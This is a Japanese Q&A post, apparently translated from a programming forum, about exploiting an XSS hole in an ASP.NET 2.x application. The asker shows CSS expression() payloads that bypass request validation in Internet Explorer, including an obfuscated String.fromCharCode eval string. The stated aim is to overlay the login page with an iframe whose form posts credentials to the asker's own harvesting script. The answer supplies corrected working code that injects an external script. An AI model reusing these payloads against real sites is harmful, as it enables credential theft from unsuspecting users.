変数の適切なサニタイズに失敗したクライアントのアプリケーションでXSSを特定しました。ただし、アプリケーションはASP.NET 2.xで作成されており、リクエストの検証がオンになっています。
リクエストの検証をバイパスしてIEで動作する以下の文字列を知っています。
‹%tag style="xss:expression(alert(123))" ›
ただし、クライアントに単純なアラートボックスを表示するのではなく、XSSを使用してアプリのログインページのフルスクリーンのiframeを動的に生成し、そのポストアクションを、自分でホストする資格情報取得スクリプトに変更します。
このiframeを生成するためのコードがあり、動作することを知っています。私が苦労しているのは、タグスタイル属性内から実行するJavaScript関数を取得することです。これを実現する最良の方法は、DOMで_<script src=..>
_ノードを動的に生成することだと思いました。ただし、コードは確実に機能しますが、タグスタイル属性内からは実行されません。
では、スタイル属性内から適切なJavaScriptコードを実行する方法について何か提案はありますか?これが私の現在のコードです(機能していません):
_<%tag style="xss:expression(
function init()
{
var nBody = document.getElementsByTagName('body')[0];
var newInclude = document.createElement('script');
newInclude.setAttribute('src','src.js');
nBody.appendChild(newInclude);
}
onload=init;
)">
_
編集:このコードをユニコードに変換すると機能することも追加したいと思いました:
function test(){alert(1);}test();
<IMG STYLE="xss:expression(eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 101, 115, 116, 40, 41, 123, 97, 108, 101, 114, 116, 40, 49, 41, 59, 125, 116, 101, 115, 116, 40, 41, 59)))">
expression()
はJavaScript式でなければなりません。関数宣言とそれに続く代入式の2つのステートメントがあります。単一の関数式でそれを行うことは私にとってはうまくいきます:
<div style="xss:expression(onload=function() {
var newInclude = document.createElement('script');
newInclude.src = 'src.js';
document.body.appendChild(newInclude);
})">
(CSSの追加レイヤーなしで実行されていることに少し驚いています\nn
エスケープ!)